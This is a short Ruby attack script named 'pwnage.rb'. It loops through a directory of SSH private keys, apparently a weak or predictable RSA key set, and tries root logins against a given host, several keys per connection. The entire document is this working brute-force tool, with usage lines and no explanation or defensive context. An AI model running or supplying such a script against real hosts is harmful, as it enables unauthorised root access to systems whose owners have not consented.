KEYS_PER_CONNECT = 4 # +1

def help
  puts "ruby pwnage.rb keys host"
  puts "ruby pwnage.rb /Users/jordan/xpl/rsa/2048 127.0.0.1"
  exit 0
end

help if ARGV[1].nil?

@keys = Dir[ARGV[0]+'/*'].sort_by { |file| File.new(file).mtime }

@pool = []
@total = 0

@keys.each do |key|
  @pool << key
  @total += 1
  if @total > KEYS_PER_CONNECT
    i = @pool.join(" -i ")
    `ssh -l root -i #{i} #{ARGV[1]}`
    @pool = []
    @total = 0
  end
end